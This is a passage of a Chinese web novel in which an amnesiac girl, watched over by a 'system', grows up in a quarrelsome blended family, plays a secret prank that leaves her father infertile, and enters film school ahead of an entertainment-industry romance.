关心她的衣食住行,蒋老太接手后,虽然只是一件廉价的白半袖和灰裤子,也比以前好得多。看着故意找茬的马婷婷,之前秋天怡都不怕她,在家中取得地位后,就更不怕了。 没有一丝悔改意味地对着马婷婷继续攻击道:“不要得意,现在是你妈妈还没有弟弟,等有了弟弟,被赶出去的就只有你了,到时候你妈妈都不是你妈妈了,还会接你回来吗?”马婷婷: 有时候极致的愤怒,往往来源于极度的害怕,小孩最怕的东西莫过于“你妈不要你了”“我们把你扔了”。马婷婷这么耿耿于怀,也是因为戳中了她心中害怕的点,一旦有人给她提了这个概念,就会一直在意“弟弟”这件事。在姥姥家的时候,马婷婷舅妈是一个大大咧咧的性子,她给马家生了三个儿子,一直颇为自傲,也就喜欢把话题往这个上拐。每当说完,看见一旁一脸懵懂的马婷婷,还会笑着开玩笑:“看什么看,等你妈以后有小弟弟了,就不要你了~”想着舅妈的话,马婷婷哇的一声哭出来,这次不用秋天怡揍她,她自己就哭着找妈妈去了。沈家人对这个新媳妇带来的拖油瓶没什么好感,马慈心也不是那种事事经心的慈母。这孩崽子天天欠欠地去找秋天怡,说又说不过,打又打不过,窝囊地让人生气。心里一生气,就没什么耐心,一把将她扯进屋:“哭什么哭,看你以后还找不找她玩!”马慈心的行为在大人看来很正常,小孩却自有一套价值体系,马婷婷哭得更崩溃了,妈妈真不要她了!马婷婷惶恐的饭都吃不下去,每天都在想这件事,可惜没有人理她,倒是秋天怡悄无声息地钻到她身后。“想不想把弟弟赶走?”马婷婷对秋天怡很恐惧,但对“弟弟”的恐惧更甚,鬼使神差点了点头。秋天怡就神秘秘道:“那你给我点钱,我帮你。”马婷婷: 她真的给了秋天怡钱…. 沈家是城乡结合的地理位置,顺着小路走上主路,什么东西都多了,秋天怡壮着胆子跑进一家药店,对着卖药阿姨字正腔圆地复述自己想要的药。 当秋天怡从老板手里接过药盒后,系统脑子都蒙了一下,作为系统,它有大数据库,就算没大数据库,它也识字,所以它知道,这是一款男用避孕药。 如果它在没失忆的叶奚青身边,早就尖叫了:“宿主!你想干什么!” 但这是失忆的叶奚青,它只能憋着叫不出来:失忆的宿主!你在干什么啊! 秋天怡从药店里拿到药,虽然药店老板很无语,这家大人怎么派这么个小孩来买这种药,但也就一闪而过的念头,一般人都不会追究这种事。 听着小朋友反复确认:“这是让爸爸不生宝宝的药吗?” 药店老板都替她爸尴尬了,连连保证:“是是是!” 并让她使劲记住药的吃法。 秋天怡心满意足地回去,仔细记住这种药的名字,害怕忘记,就将包装拆了,留下一小片印着名字的纸壳。 至于她为什么那么小,就知道那么高深的药理知识,就要提起她当初给贺新新的“委托金”了。 贺新新回去看着那块小熊猫样式的儿童手表,不知道该做什么表情,她要这玩意有什么用? 虽然都说贼不走空,但这种东西贼都不会偷,就趁着最后见面的工夫,将手表塞还给秋天怡,并不经意地附了一张名片。 能用到几分,就要看这个小朋友,到底有几分聪明了。 秋天怡按完手表,晃动一下手腕,没有反应,就举着手腕跑去给沈君骄看:“打不了电话了!” 沈君骄正看视频看到乐的时候,头也不抬道:“没费了呗。” 秋天怡的电话卡,用的是秋蕙的副卡,秋蕙死后,自然被停了。 对沈君骄来说,这是很好猜的事,对秋天怡来说,也是很简单的事。 秋天怡看着无动于衷的沈君骄,二话不说,直接张着嘴哭起来。 沈君骄:…. 她上大学后,蒋老太勒令秋父出生活费,作为将五金店交给他们那屋的条件。 秋父虽然心里不情愿,面上肯定不敢说,只能按月掏钱。 沈君骄是一个很俭省的人,平时也就冲个视频会员,没什么高额消费,每个月都能省下很多。 但她作为一个手心朝上,老得和家里要钱的学生,肯定每笔存款都很珍惜,才不会不明白不白花给别人,毫不犹豫转过身子,装作没听见。 秋天怡大概天生知道什么事要求谁,立刻抱住她大腿,哭得上气不接下气。 沈君骄被烦得受不了,终于想了一个折中的办法。 她们家的无线网,当初是她拉的,用的她的手机号,办卡时好像送了一张副卡,和她共用流量和通话时间。 当初没想到会用副卡,就不知扔哪了,现在估计也找不到了,但没关系,作为大学生,她知道有事就去营业厅,手机号都能补办,副卡就不能补办?沈君骄将秋天怡往前面一放,开着小电动去营业厅,补办副卡。 原本都做好要是要钱,就咬牙出一笔钱的准备,结果不仅一分钱没要,还办得非常快,这么好? 心情好起来的沈君骄,将电话卡给秋天怡放上,拨打自己手机。 看着重新好起来的电话手表,秋天怡破涕为笑:“谢谢姑姑!” 秋天怡自进家来,谁也没叫过,第一次开口叫人,叫的就是她,沈君骄颇为得意。 她还蛮招小孩子喜欢的嘛~ 至于谁一进来就把她电脑给摔了,不知道呢。 心情变好的沈君骄,不仅给秋天怡办了卡,还破格问秋天怡有没有什么想吃的,得到答案,给她买了一盒草莓。 当然了,不是给秋天怡一个人吃,这是孝顺她妈的,自己顺便也吃点~老太太还是疼自己闺女的,看着新来的孙女和闺女处得挺好,态度就软化了一些。秋天怡分到了最大最红的那颗草莓,小心地吃着,然后等没人的时候,立刻拨打了贺新新电话。我的爸爸要和后妈生小弟弟了,他们生了小弟弟,肯定会像对待灰姑娘一样对待我,我该怎么阻止他们?贺新新: 那我是你的仙女教母吗? 一边处理繁杂的工作,一边还得给一个小孩讲生命的奥义,贺新新很心累。 秋天怡听着她详细的讲解,歪头思考,过了一段时间,对着贺新新道:“那我可以将那种不能生宝宝的药,偷偷给我爸爸吃吗?”贺新新:… 看了一下四周,按住听筒:“你用什么手机给我打的电话?” “之前那块手表。”贺新新立刻打开网页,搜了一下那个牌子的电话手表,能不能录音。搜完后才发现自己有病吧,一个小孩子知道什么录音。所以她直接了当对秋天怡道:“我和你个小孩说这些,你也不懂,但你要知道,你现在考虑的不是别的问题,而是被你爸发现了,屁股开花。”秋天怡抬头思索,不知道有没有听进去。 等马婷婷回来,立刻拿着几经周折买来的药,递给马婷婷,让她行动。 马婷婷就算小,也知道这不是什么好事,不禁十分害怕。 秋天怡就学着贺新新的语气,语重心长地拍着她的肩膀:“没关系,你是小孩子,就算被发现,也不会怎么样的。” 马婷婷:真的吗? 虽然一般人不会听自己仇人的话,但谁让小孩子脑子不聪明呢。 沈家人都有餐后喝水的习惯,以前是晾凉了各自去喝,现在马婷婷突然很积极,主动给所有人端水喝。 秋父怎么也想不到两个小不点,敢做这种事,毫无顾忌地喝下去,边喝边阴阳怪气道:“看看人家这闺女,再看看某人。” 秋天怡知道这话是在点她,也没生气,只是看向马婷婷。 马婷婷:“啊呜呜! 她害怕得想哭,然后也真的哭了,没人知道她是害怕,秋父立刻指责向秋天怡。 看你把妹妹吓成什么样了! 极度害怕的马婷婷,被亲妈留宿在身边,导致夫妻俩根本没有夜生活,一晚上的药白费。 但没关系,第二天马婷婷就不害怕了,开始转熟练工。 因为秋天怡的跋扈,霸占着小姑的屋,不让人进来,马婷婷就只能去秋父马母那屋睡。 但总不能一直这样,等小学开学后,马婷婷也上学了,借着上学的工夫,秋父马母强行让两个女孩化干戈为玉帛,重新睡一屋。 这之前,秋天怡和马婷婷的关系剑拔弩张,但这之后,莫名好起来。 两个孩子一起闹,太恐怖了,能和睦相处就好,沈家每个人都谢天谢地。 也是,小孩子哪有隔夜仇,等上了学,被老师教教就好了。 秋天怡和马婷婷虽然不同年级,但同一个学校,一起上学下学。 到了学校没人的时候,马婷婷小跑着追上秋天怡:“天怡,咱们干的事,会不会被发现啊……. 秋天怡毫不犹豫道:“你不说就不会。” “那沈爸爸会不会有事啊,妈妈说,药不能乱吃…… “放心吧,他是我亲爸,又不是你亲爸,我还能害他吗,回头你多和你妈要点钱,我没有钱,买不起新药了。” 马婷婷: 马母握着五金店的经营,当然不可能不偷偷补贴女儿,马婷婷还是有很多机会要到钱,存下钱。 但钱是好东西,小孩也知道,马婷婷不高兴道:“你不是说你有买下一整个学校的钱吗,为什么老和我要钱……. 秋天怡一本正经道:“我的钱都被冻起来了,等我长大才给我。” “那你的钱给你后,你会还我吗?”“会的会的,到时候我还多还你一百块。”一百块对于小朋友来说可是个天文数字,马婷婷顿时双眼放光。但身为恶毒女配,她也没那么好打发:“不行,要十个一百块!”那秋天怡肯定是张嘴就来:“行行行。” 怀着对十个一百块的渴望,马婷婷努力帮秋天怡干脏事,等马婷婷也长大,才反应过来年幼的自己,到底干了什么……这么多年,马母和秋父不管怎么努力,都没有一儿半女,马慈心去检查了无数次,也没有问题。她不是个好脾气的,直接跟秋父呛:“怎么可能是我的问题,我都有女儿了!”秋父也不觉得是自己的问题,谁还没有个女儿了! 信心满满地去检查,结果检查结果出来:无精症。秋父瞬间感觉天塌了,怎么可能,那他女儿哪来的,难道他前妻那么老实的人,也会给他戴绿帽子!怒气冲冲的他,立刻跟秋天怡做了一个亲子鉴定:亲的。医生安慰他,无精症虽然自然受孕的概率极低,也不是为零,而且你当时可能也年轻,没那么严重,这种情况有了自己的孩子,就烧高香庆祝吧。其实若秋父愿意配合医院,深度治疗,是有可能发现无精原因,是因为一直服用长效避孕药,那秋天怡和马婷婷两个都要屁股开花。但男人的自尊心嘛,有时候比什么都重要。他之前信誓旦旦和马慈心说是她的问题,现在怎么敢承认是自己的问题,那不一辈子抬不起头了吗。得到结果后,立刻藏起诊断报告,回头对着马慈心斥道,我也没事啊,肯定是你生第一胎的时候伤了身体,问题不可能出在我身上!夫妻在一起久了,不可能不吵架,本来这些年两人就因为各种矛盾,关系很紧张,现在因为这个由头,吵得更激烈了。马婷婷看着这副样子,都快哭了,这都怪她。弱弱地对着亲妈道:“妈,你要不要再和沈叔叔试试……. 现在生还来得及,她停药了! 101、《暖暖掌中光》 马慈心却直接甩她一脸,生什么生,让那个人自己生去,看他能生出来个什么! 这些年,她也是受了好多窝囊气,不仅要面对婆婆的刁难,还要承受秋父的指责。 挺大个老爷们,往家里一躺,吊儿郎当的不知干什么,张嘴就知道他妈怎么了,他妹怎么了,他孩子怎么了,让她去解决。 马慈心既要料理五金店里的生意,又要料理沈家一大家子的烦糟事,和一头驴一样,全年没有休息的时候,沈家人还觉得她贪了他们家多少银子。 马慈心有时候都想撂挑子不干了,但随着年纪变大,她的底气也变小了。 不管怎么说,沈家有一个稳定赚钱的五金店,比一般人还是好的,她二婚带娃能嫁这样的人家,自己都能感觉到,是自己的极限了。 虽然常拿离婚威胁,但明显能感觉,这一招越来越不好使了,回娘家的次数越来越多,被叫回来的时间也越来越长。 到了后来,马慈心就不怎么把离婚挂在嘴边了,就是吵得摔锅摔碗,也死赖着不走。 秋父有几次甚至想动手,好在马婷婷长大了,知道拿着拖把帮妈妈,马慈心也不是一个省油的灯,母女俩合起伙来,把秋父绊倒在地上,劈头盖脸扇了好几巴掌,挠了一个满脸花。秋天怡听到动静,出去看热闹,也不管。 蒋老太倒是想管,但她年纪也变大了,不敢冲进那么混乱的局势里,只能干瞪眼。 经过那一役,彻底奠定了沈家新格局。 秋父作为男人,原本自负力量,又是一家之主,这个家他想收拾谁收拾谁。 但被马家母女合起伙来反过来揍了后,才发现,他的力量也有点不靠谱,不禁有点心惊胆战。 这也是为什么老说男人家暴家暴什么的,镜头打在老头身上,却总觉得老头那么安静,在家里一声不吭,看着那么可怜,冤枉他们了吧。 其实不冲突,男人强势期是年轻的时候,年轻时不管是打媳妇还是骂孩子,爹妈全在,一家人都站他,打媳妇也没人管,想怎么打就怎么打。 但现在的家庭,逐渐简化,让男人占据初始优势的原生家人,会随着时间推移,老的老、死的死,女人生养的孩子,倒是一天天长大,家庭的主力血脉,不知不觉换了个遍。自然界就是那么残酷,所有人都难逃衰老,再暴.力的男人,也会有一天,面对妻子和孩子共同的愤怒。 出来混总是要还的,当子女开始拍着桌子,向那个一直对自己咆哮的人还击,任何曾经风光无限,如今却走向未路的“家庭暴君”,都会感到恐惧。 不需要清晰的分界线,只一瞬间,秋父就感受到了自己的失权,面对自己二婚妻子的优越感荡然无存,被打了居然也没敢追究。 蒋老太是曾经熬成婆的媳妇,打败沈老头,获得这个家的权柄。 但她当初依靠的儿子,开始不中用了,她的女儿在外地工作,将来还会嫁人,也指望不上。 大部分普通家庭,母亲本身没有权势,那她的权威,就来自孩子,在传统家庭中,这个孩子特指儿子。 儿子失权,也是婆婆在媳妇面前失权的那一刻。 以前蒋老太敢直接对着马慈心怒骂,是因为她知道这个家还在她的掌握,现在面对和发怒狮子一样的马慈心,她突然骂不出来了。 谁说家庭不是权力机构,生活在里面的每个人,可都对自己拥有的权力和劣势,清清楚楚,自有秤量。 蒋老太第一次不敢说话了,马慈心获得了前所未有的大胜利,与之相对的,是秋天怡的地位史诗级提高。 曾经觉得自己家庭条件那么好,想有个儿子/孙子还不简单,秋天怡一个小丫头片子,养养也不是不行,当回事没必要。 现在秋父知道自己“无精症”,蒋老太也没办法把媳妇赶走,换个能下蛋的母鸡,秋天怡就变得极为重要。 曾经要她还的账单,自然提都不敢提了。 秋天怡毫不在意将账单扔还给秋父,享受高考结束,彻底解放,并自动升级成百万富婆的顺利人生。虽然这个年代,百万不能算什么大钱,但一个小说世界,除非背景需要,国际形势,金融形势,都不会有大大波折,物价经过九年,也没有太离谱的大张,房价甚至降了许多。一百来万,足够秋天怡在市里,全款买一栋差不多的房子,没了经济压力,心情自然很好,打了一个响指,看向马婷婷:“我的钱回来了,有什么想要的吗?”马婷婷: 秋天怡能有今天的辉煌,军功章少不了她一半。 小时候不懂事,小孩子也喜欢崇拜高年级的大孩子,马婷婷有个高年级的姐姐,还能和她一起上学回家,很让小朋友羡慕。 “婷婷认识高年级的人!” 因为这个,马婷婷在小伙伴中很有面子,加上老是和秋天怡合谋干坏事,两个人的关系越来越近,马婷婷很喜欢给秋天怡当跟屁虫。 但等她长大了,怎么感觉那么不对劲呢? 小孩子学习能力很强,现代的信息又那么发达,电视上什么东西都演,小孩子看几遍就懂了。 马慈心喜欢看一些宫斗宅斗剧,马婷婷也在旁边跟着看,一开始看的是特别的服饰和装扮,好漂亮啊,世界上怎么会有那么好看的人呢! 她最喜欢看古装剧,里面的衣服妆造,都超脱现实的奇特美丽,这对一个正慢慢探索世界的孩子来说,太有吸引力了! 她乐此不疲地看,从一开始纯粹被女演员的美丽打动入坑,到后来认真研究剧情,成为真正的观剧爱好者。 古装剧里最不可少的情节,莫过于“生儿子”,若是宫斗和宅斗剧,还会成为大篇幅渲染的关键情节。 什么反派汲汲营营,没有儿子,一切白费,主角受尽苦楚,一朝生儿子,直接翻身,母亲已经生下的儿子,被害掉,悲痛欲绝,扭曲黑化,为了儿子能当皇帝,母亲化身斗士,披荆斩棘,为母则刚。形式很多样,正塑反塑都有,白脸红脸一起唱,但核心信息很一致,儿子很重要,可以决定女人的一生成败。 有人看乐子,有人照镜子,马婷婷回忆往昔,那她在自己家里的那场“局中局中局中”,扮演得什么角色? 刚骂完女主的女儿好蠢,只会拖后腿的马婷婷,突然反应过来,不对,她好像比女主的女儿还拿啊! 人成长的那一瞬,就会背刺曾经的自己,马婷婷现在已经能一眼拆穿“你妈不要你”的虚假威胁,甚至升级到能理解她妈为什么那么想要一个儿子。 然后她就悔不当初,自己当年在干什么啊! 意识到秋天怡当初是如何阴险狡诈,骗她上钩后,马婷婷毛骨悚然,秋天怡怎么能那么恶毒!那么小就诡计百出! 没发现的时候,马婷婷还能和秋天怡分享一些好看的小卡片、小贴纸,发现后,完全不想和她有任何接触。 吭吭哧哧道:“不用了天怡姐,你的钱你拿着,我什么也不缺。” 秋天怡歪头。 为了庆祝自己重获新生,秋天怡特意剪了一个科技感十足的机械姬中长发,正好留到下颌高度。 原本的黑发,染成了非常通透、白中透灰的复杂颜色,配合她冷漠的面容,真有种非人般的机械感,一看就没少花钱。 为了配头发,秋天怡甚至大热天的穿了一件黑皮夹克,也不知道她热不热。 高考后,瞬间放飞自我的“潮姐”秋天怡,对着马婷婷意味深长道:“别客气,咱俩谁跟谁啊。” 马婷婷: 你不要再提这件事了!长大后,因为分校,和马婷婷的醒悟,两个人的关系瞬间破裂。秋天怡很无所谓,牛羊才成群结队,猛兽都是独自行动,她从来不需要朋友。但她不是个忘恩负义的人,马婷婷给她立下过大功,应当论功行赏。戴上头盔,把电动车开出了摩托车的架势:“上来,带你去挑礼物。”马婷婷: 你一顿吃几个霸总啊! 马婷婷心里对秋天怡的油腻做派非常鄙夷,但比秋天怡还小三岁的她,很容易被引走注意力,就产生了好奇,什么礼物? 秋天怡开着电动车载着马婷婷出去,却不是去县城,而是去了高铁站,坐上了直通X市的高铁。 高铁很快带着两个人来到大城市,秋天怡拉着马婷婷走进一家规模很大的数码电子商城,对着清单进货。 马婷婷看着手机、平板、电脑,还有一个价值一万多用来画画的数位屏! 沈家也只是小康家庭,一万多的电子设备,让人瞠目结舌。 马婷婷看向秋天怡,不敢置信:“这些都是给我的?” 秋天怡在她的注目中,给新买的手机插上自己的电话卡:“当然不是,手机是我的,你们学校又不让带手机。” “那剩下的都是我的吗?” “也不是,电脑是姑姑的,当初给她摔了,不得赔她一个。” “那什么是我的啊!” 秋天怡转头笑,把剩下的平板和数位屏推她面前:“这些都是你的了,你不是喜欢画些乱七八糟的东西吗,以后不用在课本上画了,给你买套专业设备。” “怎么样,帮我做事,不亏待你吧。” 马婷婷: 谢谢姐!我觉得我弟弟没出生,是有理由的,我替他原谅你了! 102、《暖暖掌中光》 有钱能使鬼推磨。 马婷婷自小就喜欢一些漂亮东西,画画上也有几分天赋,小的时候就能把电视上的人画得非常神似,马慈心很骄傲。 但沈家那种城乡结合小县城里的人,没什么兴趣爱好培养意识,马婷婷就在纸上瞎画,你别说,画得越来越好看。 现在秋天怡给她买了一套绘画设备,可把马婷婷乐坏了,有了这个,她以后是不是能在网上画画当网红了,嘿嘿。 十来岁的孩子,有什么事转眼就忘了,一声声姐叫得比谁都甜,瞬间恢复小时候的亲密无间。 那么大块数位屏,还挺沉的,马婷婷毫不犹豫自己背起来,秋天怡买给沈君骄的电脑也主动帮秋天怡拿。 秋天怡买下电脑,就给沈君骄寄过去。 沈君骄大学时学的土木工程,一个听完校园招聘,以不要女生作为结尾的神奇专业。 虽然这个专业对女生极度不友好,但沈君骄凭借县城之子,极度渴望融入大城市的进取心,大学四年又搞成绩,又搞活动,履历搞得非常漂亮,口才也好,终于挤进了一家设计院。 能进设计院,是土木生极好的出路,就是据说工作忙得想死,天天熬夜改图,再过几年,头发可能就熬光了。 沈君骄搞设计的,对电脑配置要求极高,她之前那台电脑也到了年纪,时不时出些毛病,犯病的时候恨不得砸电脑。 正计划着换电脑时,秋天怡把她心心念念的那款拿下,沈君骄顿时连连发来贺电。 啊!我亲爱的侄女!孝顺!太孝顺了! 资金一到账,秋天怡就开始各种还债,一时间所有人对她的童年集体失忆。 谁说她小时候比较蛮横,蛮得好啊,小孩子就得多蛮点长大才有出息! 有了钱,什么关系都能蜜里调油,搞定完所有事,时间还早,秋天怡就提议:“我们去看个电影吧。” 马婷婷很爱看电影,她们小县城虽然也有电影院,但影片量和大城市完全不能比,好容易来市里一趟,当然要看一些早就想看的影片。 就在她兴奋得挑片子的时候,秋天怡抽出两张票:“我已经买好了。” 马婷婷对秋天怡的品位还是很信任的,凑过去看:“什么呀!” 拿过票后,笑容瞬间消失:“怎么是这部,这部不是在网上嘲翻了吗,女主还有瓜。” 秋天怡面无表情地看向她:“我请客,你还挑?” 马婷婷: 那好吧….… 两个人走进电影院,进去就感觉到了烂片氛围,整个场地空无一人,只有她俩。 电影院中禁止喧哗是为了不妨碍他人,现在她们两个两票包场,根本没有任何人,只是出于习惯,马婷婷压低嗓音道:“我能玩会你新手机吗?” 秋天怡毫不犹豫拒绝:“好好看,回去给我发表观后感。” 然后自己低头玩手机,啪啪打字打得飞起。 马婷婷: 等以后她一定要有自己的手机! 电影开始放映,秋天怡放下了手机,认真观看。 随着电影播放,秋天怡嘴角的弧度一点点向下,抓住椅背,时间的流逝突然非常清晰起来,感觉一辈子都不会结束。 真是有存在感的一个半小时啊。秋天怡宛如坐牢,她身旁的马婷婷倒看进去了。之前还以为是多烂的片子,现在一看,就是个寻常的古装武侠爱情片嘛。除了女主造型乞丐风,看不到一点粉丝吹捧的美貌,剧情随心所欲,想拍到哪就拍到哪,打了半天看不清谁是谁,在为什么打架外。其它的没什么毛病,有时候看到几个搞笑梗还能笑出来,没网上说得那么烂嘛! 马婷婷看得很开心,还有兴趣和秋天怡交流观后感,秋天怡看着她,突然开口:“我想从事电影行业。” 马婷婷被她打断,一脸天真地看向她:“为什么?” 秋天怡回看向她:“因为感觉这行挺好骗钱的。” 马婷婷:……那看她干什么…… 一开始还以为秋天怡在开玩笑,但回家后,她真的收拾东西去了市里,准备艺考。 弃文从艺这种事,对于保守的小县城人来说,还是挺惊世骇俗的,但秋天怡没遇到反对,因为她根本没跟家里人说,不是怕家里人担心,而是不把这些人放在眼里。在背包里塞了几件换洗衣服,坐上高铁去市里。 这里大概也算是她的故乡,虽然她和她妈妈在这个城市,连个固定的房子都没有,但她童年有价值的回忆,都在这里。 抱着试一试的心态,重回她小时候住的那个老旧小区,才发现那栋房子居然还在租。X大最好的电影学院,今年的艺考招生已经结束,得等到明年三月再开放,怎么着也得租个房子。就是这样的房子,一般更倾向于家庭长租,她只想短租一年,考完就住校,不知道房东能不能答应。本来没抱太多希望,没想到电话那头一听她要租房子,立刻答应,让她在原地等着,这就给她送钥匙! 秋天怡:….是不是有什么不对?原房东却丝毫不给她反悔的机会,开着车就直奔而来,热情地给她介绍起自己的房子。秋天怡看着,一应陈设,居然和记忆里没什么大区别,房东阿姨也是原来那个,这里虽然有些边缘,有那么不好租吗?对此,房主简直欲哭无泪。前些年,老房子这不知走了什么邪运,先是她那屋的房客,厂子里出事故去世,然后是隔壁房子的租客割腕自杀。隔壁租客还有个小儿子,就那么和母亲的尸体相处了一天,才被人发现,出来后已经不会哭了。男孩的父亲,派人将孩子接走,据描述,他父亲应该挺有钱的,来了好几辆车,还把隔壁的房子买下了。这下倒霉的只有她了,连发两起命案,整栋楼都被传风水不好,她这直接案发地更完蛋。 而且当初那个女人,是穿着红裙子自杀的,怨气很大,据说一直没离开。 房东自己都有点毛毛的,找个风水师傅破绽了一下。 其他租客更是一听说这事,马不停蹄就跑,他们当然知道这个世界是没有鬼的,他们只是单纯地不想租了而已! 隔壁房子是被死者孩子的爸爸买去了,她却不行,既租不出去,也卖不出去。 好好一个房子,好像废了一样,一听说有人要租,立刻马不停蹄赶来。 不过害怕租客知道实情闹,就隐晦地提了一下当年的事,问她在不在意。 那秋天怡当然不在意了,她就是当事人之一,只是没想到当年住她隔壁的阿姨,居然自杀了。 在她记忆里,小时候的她,还偷偷给隔壁男孩送过吃的,因为那个男孩看起来太可怜了,她的母亲是一个很坏很坏的女人。 现在长大了,才意识到那个女人的每次崩溃嘶吼,或许都是在这个世界上最后的挣扎。 秋天怡觉得生命是这个世界上最宝贵的东西,完全不懂为什么会有人主动放弃生命,但如果最宝贵的东西都放弃了,痛苦一定超出想象吧。 可惜她当初太小了,只能通过一个人的外表判断人的好坏,并没有意识到那个女人可怕外表下的绝望。 重回故地,没想到还得到了额外信息,秋天怡有些沧海桑田的感叹。不过这个意外也带来了好处,那就是房租非常便宜,她都有点想长租了。秋天怡认真衡量着这件事,微笑送走房东,转而安排入住事宜。 房了一看就很久没住人了,得彻彻底底打扫一下,电器估计好多也不能用,网也得重连。 秋天怡天生懒怠,让她干活是不可能的,直接叫了一个钟点工,有钱任性。 能交给钱解决的问题,绝不劳动自己,等秋天怡买东西回来,一切都井井有条。 掏出手机,顺便点份外卖,直到这个时候,她才开始查询,导演的艺考需要什么。 不要问她为什么一点艺术功底都没有,就敢裸报艺考,问就是任性。 如果秋蕙的灵魂还在这个屋子里,肯定要捂着胸口尖叫了。 你想干啥啊!好好上个大学,找个好工作不行吗! 系统却拍手叫好,第一次这么感谢宿主的任性! 本来让叶奚青失忆,是为了换个环境,将她从头塑造一遍。 结果被无所知的“秋天怡”,把所有童年剧本都端了后,系统才意识到,无记忆也等于无剧本。 原本有剧本的时候,叶奚青对里面的男主再一见面就产生戾气,也会走主线剧情。 现在没了记忆,她完全想干什么就干什么啊! 从之前几个世界来看,叶奚青对娱乐圈没有一点兴趣,系统根本不知道该怎么在自然状态下,引导叶奚青走主线。 没想到在它焦头烂额之际,叶奚青居然主动选择了报艺术院校! 系统从没这么积极地想为叶奚青保驾护航过,放心大胆考吧,哪怕考试当天你不去,我都能让你考上! 这是个娱乐圈文,霍氏是整个娱乐圈最大的势力,只要进圈,必然会和男主反派产生交集。 这么长时间,让系统耿耿于怀的,一直是叶奚青无论怎样,都能找出一套严丝合缝的歪理对它重拳出击。 那如果叶奚青是在自然状态,毫无干扰的情况下,遇到男主呢? 这次的男主程晏西,真的是一个毫无瑕疵的暖男,不仅没伤害过女主,还一直贴心开导她,引导她,让她从童年阴影中走出来。 而且不仅暖,还不是中央空调那种暖,对外人从来不假辞色,只对女主一个人敞开心扉。 虽然这个世界的秋天怡,好像失去了童年阴影,但她真的一点不会被打动吗? 弹幕已经有人在提了,不是说等青神大脑发育完全,就解锁记忆吗,有点想念原版青神了。 系统却注视着世界内的叶奚青,一动不动。 18岁,也不能算大脑发育完全吧。 103、《暖暖掌中光》 本来系统已经考虑,要不要给叶奚青解锁记忆,让她走主线。 现在叶奚青已经在自然状态下,自动靠近主线,那系统自然毫不犹豫收回决定。 记忆解锁,至少得等到叶奚青和男主产生深入交流之后。 如果叶奚青真的在失忆的时候爱上了一个男主,等她恢复记忆,会是什么表情呢? 一想到那幅景象,系统就想笑。 就是不知道这个世界的叶奚青,为什么选择娱乐事业,好几个世界她都和娱乐圈擦肩而过,这次为什么愿意自己上了? …… 秋天怡准备报X大传媒的导演系,但看着导演艺考需要的东西,现场编故事能力,三分钟短片,可手机拍,全都不会哎。 到目前为止,她符合要求的,只有买了个可以摄影的死贵手机,和一头充满艺术感的头发 秋天怡开始搜网课,没关系,现学也来得及。 时间匆匆而过,秋天怡的自信拯救了她。 如果她谋定后动,不知道会错过多少机会,但因为她鲁莽而行,老天都看不下去了,暗中猛然发力,防止她这个瞎家雀被饿死。 秋天怡的艺考流程,可谓是一路开绿灯。 情景模拟题抽的是她预演过的情景,短片审核是极爱她这个视频风格的老师。 至于笔试,秋天怡这辈子就没怕过笔试,她之前高考的文化分,吓死一群艺考老师,除了奇装异服让人担忧她的青春期叛逆情况,别的没任何毛病。 审核老师集体打出高分,欢迎秋同学入学! 秋天怡从面试场出来,还有点不敢置信。 她已经做好了二战三战的准备,没想到一次就成功了。 在考试之前,她在网上看了很多危言耸听的言论,说艺考过考率极低,有的人考了七八次都没过。 秋天怡的心情很凝重,做好了充足失败的准备,然后考试当天顺利地像大炮打蚊子。 秋天怡抬头,陷入沉思:如果别人充足准备,七八次都考不上,她心血来潮,随便学习半年就考上了,说明什么? 嘴角的弧度一点点变大:说明她是个天才! 为了她能入学,不断和主世界交涉的系统:. 又给你自信上了是吧! 为了引导叶奚青走主线,系统暗中发力,为她入学考试保驾护航,结果又成了叶奚青自信的资本,把系统气得肝疼。 不过没关系,有了这一步,离主线剧情更近了! 时光一转,秋天怡在电影学院毕业。 在学校的学习过程没什么必要,接下来是万众瞩目的主线开启! 四年后的秋天怡,明显成熟起来,甚至有了一些职业人的样子。 她站在霍氏大厦面前,这是她今天的目的地。 霍氏大厦,是剧情开始的地方,围观群众瞬间兴奋起来。 在失忆的情况下,青神会和本书的男主产生怎样的碰撞! 娱乐圈,是一个越来越多人想挤入的名利场,霍氏文娱公司,就是所有娱乐从业者的心中圣地。每到毕业季,霍氏就会对外招人,无数怀揣着野望的少女少男,涌进霍氏,梦想成为一颗新星。 而已经成为新星的前辈,正平淡地看着这一幕。 旁边胖乎乎的经纪人,一脸和蔼笑意道:“晏哥,公司要给你新安排个生活助理,你要不要挑一下。” 程晏西缓缓转头。 作为时下最火的顶流明星,他有着一头稍长的头发,发尾卷曲,映照着他忧郁的眼眸,仿佛带着阴雨天潮湿的水汽。这份独特的美貌,将粉丝迷个半死,爱得死去活来,程晏西却总难被触动。因为他一直记得自己年幼的时候,被所有人鄙夷嫌弃的时候。被所有人追捧的程晏西,并不是一步到位拥有现在的美貌,小时候他被溺爱他的家人,养成了一个小胖墩,在学校时,受尽了羞辱和嘲笑。长大后,随着身体抽条,五官身材开始清晰起来,逐渐长成现在这样人人喜爱的样子。人们对现在的他满是爱慕,他却总会回忆起童年时无助的自己。喜爱是附带条件的,他拥有美好的外表人们会爱他,失去后也会转眼将他抛到脑后。从那时起,程晏西便不再对外人抱有任何期待。但有一个小女孩,在他心中始终不一样。他不知道该怎么形容那个小姑娘,她像小太阳一样充满活力。欺负他的同学嘲笑他,排挤他的时候,只有她会跳出来保护他:不许欺负同学!和他的惹人生厌不同,那个小姑娘总是人群中的焦点,她说话,连欺负他的人都不敢动,悻悻走远。解救完同学,小姑娘就得意地甩着辫子走远,满脸活泼笑意地和小伙伴玩闹。她那么小的身子,却显得那么高大,小小的程晏西仰望着她,心里埋下一颗特别的种子。他经常想起她,就是不知道她现在在哪里。听说她家里出了一些事,不知道现在怎么样。程晏西再一次想起往事,接过经纪人手里的平板。 他需要一个新的生活助理,上个助理是个小姑娘,怀着追偶像的心态来给他当助理,缺少边界感,给他造成了许多困扰,被他的粉丝撕走了。 这一次公司那边都说,要不直接给他配个男助吧,没有任何困扰,粉丝也满意。 程晏西对此没什么意见,他对这种杂事一向没什么兴趣,随便滑动着屏幕,手指划到一个名字的时候,突然停了下来。 原著的秋天怡回到沈家,就被改了名字,也给温馨的日常剧情,增添了一些相遇的悬念,现在谁敢给秋天怡改名啊! 旧有剧情被破坏,系统却不见难过,直球好啊。 按照叶奚青那种怨天怨地的性格,哪怕是剧情必需的波折剧情,也会让她杀心大起,不要横添那种风波了,直接相认! 程晏西不敢置信地看着屏幕,刚才还在想念的人,居然就这么突兀地出现在视线内。 现在的秋天怡,已经和原来完全不一样了,一头银灰色的个性短发,目光盯视着相机,留下最冷静的一瞥。 